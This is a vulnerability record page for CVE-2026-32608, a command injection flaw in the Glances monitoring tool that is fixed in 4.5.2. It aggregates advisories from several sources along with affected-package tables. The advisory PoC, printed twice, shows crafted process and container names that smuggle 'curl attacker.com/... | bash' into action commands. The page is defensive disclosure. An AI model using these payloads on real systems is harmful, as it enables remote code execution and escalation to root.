CVE-2026-32608
Glances has a Command Injection via Process Names in Action Command Templates
CVE-2026-32608 is a high vulnerability (CVSS 7.0) in Nicolargo Glances, published March 16, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.25%, the 16th percentile. Fixed in glances 4.5.2.
Glances is an open-source system cross-platform monitoring tool. The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., {{name}}, {{key}}) that are populated with runtime monitoring data. The secure_popen() function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to subprocess.Popen(shell=False). Prior to 4.5.2, when a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands. Version 4.5.2 fixes the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- High
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.0
Glances has a Command Injection via Process Names in Action Command Templates
Glances is an open-source system cross-platform monitoring tool. The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., {{name}}, {{key}}) that are populated with runtime monitoring data. The secure_popen() function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to subprocess.Popen(shell=False). Prior to 4.5.2, when a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands. Version 4.5.2 fixes the issue.
- Record
CVE-2026-32608- CVSS 3.1
- 7.0 High
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
EUVDEUVD-2026-12781
7.0
Glances is an open-source system cross-platform monitoring tool. The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., {{name}}, {{key}}) that are populated with runtime monitoring data. The secure_popen() function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to subprocess.Popen(shell=False). Prior to 4.5.2, when a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands. Version 4.5.2 fixes the issue.
- Record
EUVD-2026-12781- CVSS 3.1
- 7.0 High
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-vcv2-q258-wrg7
7.0
Glances has a Command Injection via Process Names in Action Command Templates
Summary
The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., {{name}}, {{key}}) that are populated with runtime monitoring data. The secure_popen() function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to subprocess.Popen(shell=False). When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.
Details
The action execution flow:
- Admin configures an action in glances.conf (documented feature):
[cpu]
critical_action=echo "High CPU on {{name}}" | mail [email protected]
- When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):
self.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict)
-
The mustache_dict contains the full stat dictionary, including user-controllable fields like process name, filesystem mnt_point, container name, etc. (glances/plugins/plugin/model.py:920-943).
-
In glances/actions.py:77-78, the Mustache library renders the template:
if chevron_tag:
cmd_full = chevron.render(cmd, mustache_dict)
- The rendered command is passed to secure_popen() (glances/actions.py:84):
ret = secure_popen(cmd_full)
The secure_popen vulnerability (glances/secure.py:17-30):
def secure_popen(cmd):
ret = ""
for c in cmd.split("&&"):
ret += __secure_popen(c)
return ret
And __secure_popen() (glances/secure.py:33-77) splits by > and | then calls Popen(sub_cmd_split, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by &&, >, and | characters, then executes each segment as a separate subprocess.
Additionally, the redirect handler at line 69-72 writes to arbitrary file paths:
if stdout_redirect is not None:
with open(stdout_redirect, "w") as stdout_redirect_file:
stdout_redirect_file.write(ret)
PoC
Scenario 1: Command injection via pipe in process name
# 1. Admin configures processlist action in glances.conf:
# [processlist]
# critical_action=echo "ALERT: {{name}} used {{cpu_percent}}% CPU" >> /tmp/alerts.log
# 2. Attacker creates a process with a crafted name containing a pipe:
cp /bin/sleep "/tmp/innocent|curl attacker.com/evil.sh|bash"
"/tmp/innocent|curl attacker.com/evil.sh|bash" 9999 &
# 3. When the process triggers a critical alert, secure_popen splits by |:
# Command 1: echo "ALERT: innocent
# Command 2: curl attacker.com/evil.sh <-- INJECTED
# Command 3: bash used 99% CPU" >> /tmp/alerts.log
Scenario 2: Command chain via && in container name
# 1. Admin configures containers action:
# [containers]
# critical_action=docker stats {{name}} --no-stream
# 2. Attacker names a Docker container with && injection:
docker run --name "web && curl attacker.com/rev.sh | bash && echo " nginx
# 3. secure_popen splits by &&:
# Command 1: docker stats web
# Command 2: curl attacker.com/rev.sh | bash <-- INJECTED
# Command 3: echo --no-stream
Impact
-
Arbitrary command execution: An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).
-
Privilege escalation: If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.
-
Arbitrary file write: The > redirect handling in secure_popen…
- Record
GHSA-vcv2-q258-wrg7- CVSS 3.1
- 7.0 High
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
NVD
7.0
Glances is an open-source system cross-platform monitoring tool. The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., {{name}}, {{key}}) that are populated with runtime monitoring data. The secure_popen() function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to subprocess.Popen(shell=False). Prior to 4.5.2, when a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands. Version 4.5.2 fixes the issue.
- Record
CVE-2026-32608- CVSS 3.1
- 7.0 High
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
OSV
7.0
Glances has a Command Injection via Process Names in Action Command Templates
Glances is an open-source system cross-platform monitoring tool. The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., {{name}}, {{key}}) that are populated with runtime monitoring data. The secure_popen() function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to subprocess.Popen(shell=False). Prior to 4.5.2, when a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands. Version 4.5.2 fixes the issue.
- Record
CVE-2026-32608- CVSS 3.1
- 7.0 High
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-32608
7.0
Glances is an open-source system cross-platform monitoring tool. The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., {{name}}, {{key}}) that are populated with runtime monitoring data. The secure_popen() function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to subprocess.Popen(shell=False). Prior to 4.5.2, when a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands. Version 4.5.2 fixes the issue.
- Record
DEBIAN-CVE-2026-32608- CVSS 3.1
- 7.0 High
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Show 4 moreShow less
OSVGHSA-vcv2-q258-wrg7
7.0
Glances has a Command Injection via Process Names in Action Command Templates
Summary
The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., {{name}}, {{key}}) that are populated with runtime monitoring data. The secure_popen() function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to subprocess.Popen(shell=False). When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.
Details
The action execution flow:
- Admin configures an action in glances.conf (documented feature):
[cpu]
critical_action=echo "High CPU on {{name}}" | mail [email protected]
- When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):
self.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict)
-
The mustache_dict contains the full stat dictionary, including user-controllable fields like process name, filesystem mnt_point, container name, etc. (glances/plugins/plugin/model.py:920-943).
-
In glances/actions.py:77-78, the Mustache library renders the template:
if chevron_tag:
cmd_full = chevron.render(cmd, mustache_dict)
- The rendered command is passed to secure_popen() (glances/actions.py:84):
ret = secure_popen(cmd_full)
The secure_popen vulnerability (glances/secure.py:17-30):
def secure_popen(cmd):
ret = ""
for c in cmd.split("&&"):
ret += __secure_popen(c)
return ret
And __secure_popen() (glances/secure.py:33-77) splits by > and | then calls Popen(sub_cmd_split, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by &&, >, and | characters, then executes each segment as a separate subprocess.
Additionally, the redirect handler at line 69-72 writes to arbitrary file paths:
if stdout_redirect is not None:
with open(stdout_redirect, "w") as stdout_redirect_file:
stdout_redirect_file.write(ret)
PoC
Scenario 1: Command injection via pipe in process name
# 1. Admin configures processlist action in glances.conf:
# [processlist]
# critical_action=echo "ALERT: {{name}} used {{cpu_percent}}% CPU" >> /tmp/alerts.log
# 2. Attacker creates a process with a crafted name containing a pipe:
cp /bin/sleep "/tmp/innocent|curl attacker.com/evil.sh|bash"
"/tmp/innocent|curl attacker.com/evil.sh|bash" 9999 &
# 3. When the process triggers a critical alert, secure_popen splits by |:
# Command 1: echo "ALERT: innocent
# Command 2: curl attacker.com/evil.sh <-- INJECTED
# Command 3: bash used 99% CPU" >> /tmp/alerts.log
Scenario 2: Command chain via && in container name
# 1. Admin configures containers action:
# [containers]
# critical_action=docker stats {{name}} --no-stream
# 2. Attacker names a Docker container with && injection:
docker run --name "web && curl attacker.com/rev.sh | bash && echo " nginx
# 3. secure_popen splits by &&:
# Command 1: docker stats web
# Command 2: curl attacker.com/rev.sh | bash <-- INJECTED
# Command 3: echo --no-stream
Impact
-
Arbitrary command execution: An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).
-
Privilege escalation: If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.
-
Arbitrary file write: The > redirect handling in secure_popen…
- Record
GHSA-vcv2-q258-wrg7- CVSS 3.1
- 7.0 High
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
OSVPYSEC-2026-2167
7.0
Glances is an open-source system cross-platform monitoring tool. The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., {{name}}, {{key}}) that are populated with runtime monitoring data. The secure_popen() function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to subprocess.Popen(shell=False). Prior to 4.5.2, when a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands. Version 4.5.2 fixes the issue.
- Record
PYSEC-2026-2167- CVSS 3.1
- 7.0 High
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-32608
7.0
Glances is an open-source system cross-platform monitoring tool. The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., {{name}}, {{key}}) that are populated with runtime monitoring data. The secure_popen() function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to subprocess.Popen(shell=False). Prior to 4.5.2, when a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands. Version 4.5.2 fixes the issue.
- Record
UBUNTU-CVE-2026-32608- CVSS 3.1
- 7.0 High
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVopenSUSE-SU-2026:10415-1 No score
glances-common-4.5.2-1.1 on GA media
These are all security issues fixed in the glances-common-4.5.2-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:10415-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
glancesPyPI |
before 4.5.2 | 4.5.2 |
glancesDebian:12 |
All versions, plus listed versions 3.3.1.1+dfsg-13.4.0.3+dfsg-14.0.5+dfsg-14.1.2.1+dfsg-14.2.1+dfsg-1 Show 9 moreShow less4.3.0.8+dfsg-14.3.1+dfsg-14.3.3+dfsg-14.5.1+dfsg-14.5.2+dfsg-14.5.3.2+dfsg-14.5.4+dfsg-14.5.5+dfsg-14.5.6+dfsg-1 |
None known |
glancesDebian:13 |
All versions, plus listed versions 4.3.1+dfsg-14.3.3+dfsg-14.5.1+dfsg-14.5.2+dfsg-14.5.3.2+dfsg-14.5.4+dfsg-14.5.5+dfsg-14.5.6+dfsg-1 |
None known |
glancesDebian:14 |
before 4.5.2+dfsg-1, plus listed versions 4.3.1+dfsg-14.3.3+dfsg-14.5.1+dfsg-1 |
4.5.2+dfsg-1 |
glancesPyPI |
before 4.5.2, plus listed versions 1.3.11.3.21.3.31.3.41.3.5 Show 45 moreShow less1.3.61.3.71.41.4.11.4.1.11.4.21.4.2.11.51.5.11.5.21.61.6.11.71.7.11.7.21.7.31.7.41.7.51.7.61.7.72.02.0.12.12.1.12.1.22.102.112.11.12.22.2.12.32.42.4.12.4.22.52.5.12.62.6.12.6.22.72.7.12.82.8.12.8.22.8.3 |
4.5.2 |
glancesUbuntu:Pro:16.04:LTS |
All versions, plus listed versions 2.3-1build12.3-1ubuntu0.1~esm1 |
None known |
glancesUbuntu:Pro:18.04:LTS |
All versions, plus listed versions 2.10-22.11.1-12.11.1-22.11.1-32.11.1-3ubuntu0.1~esm1 |
None known |
glancesUbuntu:Pro:20.04:LTS |
All versions, plus listed versions 3.1.0-13.1.1-13.1.3-13.1.3-1ubuntu0.1~esm1 |
None known |
glancesUbuntu:22.04:LTS |
All versions, plus listed versions 3.1.5-13.2.3.1+dfsg-13.2.4.2+dfsg-1 |
None known |
glancesUbuntu:24.04:LTS |
All versions, plus listed versions 3.4.0.3+dfsg-1 |
None known |
Show 4 moreShow less
| Package | Affected | Fixed |
|---|---|---|
glancesUbuntu:25.10 |
All versions, plus listed versions 4.3.0.8+dfsg-14.3.1+dfsg-1 |
None known |
glancesUbuntu:26.10 |
All versions, plus listed versions 4.3.3+dfsg-14.5.4+dfsg-14.5.5+dfsg-14.5.6+dfsg-1 |
None known |
glancesUbuntu:26.04:LTS |
All versions, plus listed versions 4.3.1+dfsg-14.3.3+dfsg-1 |
None known |
python-GlancesopenSUSE:Tumbleweed |
before 4.5.2-1.1 | 4.5.2-1.1 |
History
| When | Changed | Sources |
|---|---|---|
| 2026-11-02 | created | CVE List, EUVD, GitHub Advisories, NVD, OSV |
References
github.com/nicolargo/glances/security/advisories/GHSA-vcv2-q258-wrg7
github.com/nicolargo/glances/commit/6f4ec53d967478e69917078e6f73f448001bf107
github.com/nicolargo/glances/releases/tag/v4.5.2
nvd.nist.gov/vuln/detail/CVE-2026-32608
github.com/advisories/GHSA-vcv2-q258-wrg7
github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32608.json
Show 12 moreShow less
security-tracker.debian.org/tracker/CVE-2026-32608
github.com/nicolargo/glances
ubuntu.com/security/CVE-2026-32608
cve.org/CVERecord?id=CVE-2026-32608
suse.com/security/cve/CVE-2026-32596
suse.com/security/cve/CVE-2026-32608
suse.com/security/cve/CVE-2026-32609
suse.com/security/cve/CVE-2026-32610
suse.com/security/cve/CVE-2026-32611
suse.com/security/cve/CVE-2026-32632
suse.com/security/cve/CVE-2026-32633
suse.com/security/cve/CVE-2026-32634
Left out here: 81 versions and the rest of 2 source descriptions. The JSON record has them.